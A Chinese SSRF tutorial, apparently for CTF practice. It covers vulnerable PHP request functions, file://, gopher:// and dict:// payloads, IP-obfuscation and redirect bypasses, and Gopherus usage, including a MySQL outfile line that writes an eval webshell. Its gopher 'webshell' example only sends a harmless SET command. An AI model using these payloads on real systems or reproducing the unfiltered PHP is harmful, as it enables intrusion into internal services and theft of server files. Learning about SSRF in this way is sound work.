什么是SSRF

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

场景

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

关键函数

file_get_contents()

作用

  • 用于读取本地或远程文件内容,支持 http://https://file:// 等协议。
  • 默认情况下,allow_url_fopen 需开启(默认开启),否则无法读取远程 URL。

利用点

  • 允许访问内网 API 或其他 HTTP 资源,例如:

    1
    echo file_get_contents("http://127.0.0.1:8000/admin");
  • 可能被用于读取本地文件(LFI),如:

    1
    echo file_get_contents("file:///etc/passwd");
  • 在某些情况下,可结合 php://filter 读取 PHP 代码。


fsockopen()

作用

  • 低级别的网络操作函数,可创建 TCP/UDP 连接。
  • 可用于访问 HTTP、SMTP、FTP 等各种服务。

利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// ssrf.php
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
#访问ssrf.php?url=www.baidu.com即可触发

curl_exec()

作用

  • 使用 cURL 发送 HTTP 请求,支持 GETPOST 等多种请求方法。
  • 能够设置自定义 User-Agent、Header、代理等,适用于复杂 HTTP 交互。

利用点

  • 允许访问任意 URL,如果参数未严格过滤,可用于 SSRF:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // ssrf.php
    <?php
    if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init(); // 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
    $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
    curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

    // $filename = './curled/'.rand().'.txt';
    // file_put_contents($filename, $result);
    echo $result;
    }
    ?>
    #ssrf.php?url=www.baidu.com触发

SoapClient

作用

  • PHP 内置的 SOAP 客户端,允许通过 WSDL 访问 Web Service。

利用点

  • SoapClient

    在初始化时会尝试解析远程 WSDL 地址,可用于 SSRF:

    1
    $client = new SoapClient("http://127.0.0.1/admin.wsdl");
  • 还可以用于访问本地文件:

    1
    $client = new SoapClient("file:///etc/passwd");
  • 在某些情况下,可配合 gopher:// 利用 SSRF 发送自定义 payload。

伪协议

  1. data:(嵌入数据)

    • 允许直接在 URL 中嵌入数据,比如 Base64 编码的内容。

    • 示例:

      1
      <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA...">
    • SSRF 场景下可用于绕过安全策略,例如绕过 CSP 进行 XSS 攻击。

  2. file:(访问本地文件)

    • 允许访问本地文件系统,例如:

      1
      file:///etc/passwd
    • 在 LFI(本地文件包含)漏洞中,攻击者可能利用 file:// 访问敏感文件。

    • SSRF 场景下可用来读取服务器本地文件。

  3. ftp:(远程 FTP 访问)

    • 通过 FTP 协议访问远程文件资源,例如:

      1
      ftp://user:pass@ftp.example.com/file.txt
    • SSRF 场景中,可能用于探测内网服务或尝试泄露敏感数据。

  4. gopher:(SSRF 常用)

    • Gopher 是一种早期的互联网协议,可以直接构造二进制数据包。

    • 在 SSRF 攻击中,攻击者可以利用 gopher:// 发送特制的请求来攻击内部服务,如 Redis、HTTP API 等。

    • 示例(利用 Gopher SSRF 执行 Redis 命令写入 Webshell):

      1
      gopher://127.0.0.1:6379/_%2A1%0D%0A%2A2%0D%0ASET%0D%0A%2A2%0D%0Akey%0D%0Avalue
  5. dict:(查询字典服务)

    • 用于查询远程字典服务器,例如:

      1
      dict://dict.org/d:hello
    • 在 SSRF 场景下,可能用于探测服务器对外部协议的支持。

Parse_url函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname //
[user] => username @前
[pass] => password @前
[path] => /path /
[query] => arg=value ?以后的key=value
[fragment] => anchor #以后的部分
)
/path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "127.0.0.1"
["user"]=>
string(4) "ctf."
["path"]=>
string(9) "/flag.php"
["query"]=>
string(4) "show"
}

bypass

字符绕过

http://localhost/flag.php

http://0/flag.php window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://0.0.0.0/flag.php
http://0x7f.0.0.1/flag.php
http://0177.0.0.1/flag.php

http://127。0。0。1/ 用中文句号绕过

http://127.1/flag.php
http://①②⑦.⓪.⓪.①/flag.php
http://127.00000.00000.001/flag.php 0的数量可多可少

http://www.xxx.com@www.evil.com解析为http://www.evil.com

http://[0:0:0:0:0:ffff:127.0.0.1]/flag.php liunx下可用
http://[::]:80/ liunx下可用

短网址

有时题目对网址长度有限制此时可以使用在线工具生成短网址绕过

短网址 - URLC.CN短网址,短网址生成,网址缩短,免费提供API接口生成,活码二维码生成,域名拦截检测

域名解析

通过ip域名查询工具搜到对应域名解析到127.0.0.1(本地)

127.0.0.1上的网站 127.0.0.1同iP域名查询 127.0.0.1域名反查

DNS重绑定

DNS重绑定是指攻击者通过DNS服务器将域名解析到恶意IP地址,然后再将其解析到合法IP地址,从而绕过后端的安全检查。

常用工具rbndr.us dns rebinding service

公网ip

利用自己的公网ip开服务挂木马

1
2
3
<?php 
header("Location: http://127.0.0.1/flag.php");
?>

Gopher协议工具

Gopherus

1
2
3
4
5
git clone https://github.com/tarunkant/Gopherus.git

cd Gopherus

./gopherus.py --exploit fastcgi

payload支持:

  • MySQL 有效负载
  • FastCGI 有效负载
  • Memcached 有效负载
  • Redis 有效负载
  • Zabbix 有效载荷
  • SMTP 有效负载

例如打无密码的mysql

1
2
3
4
5
python2 .\gopherus.py --exploit mysql

username:root
写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';

将它生成的payload进行一次url编码以防止解析错误

参考资料

SSRF - CTF Wiki

从0到1完全掌握 SSRF - FreeBuf网络安全行业门户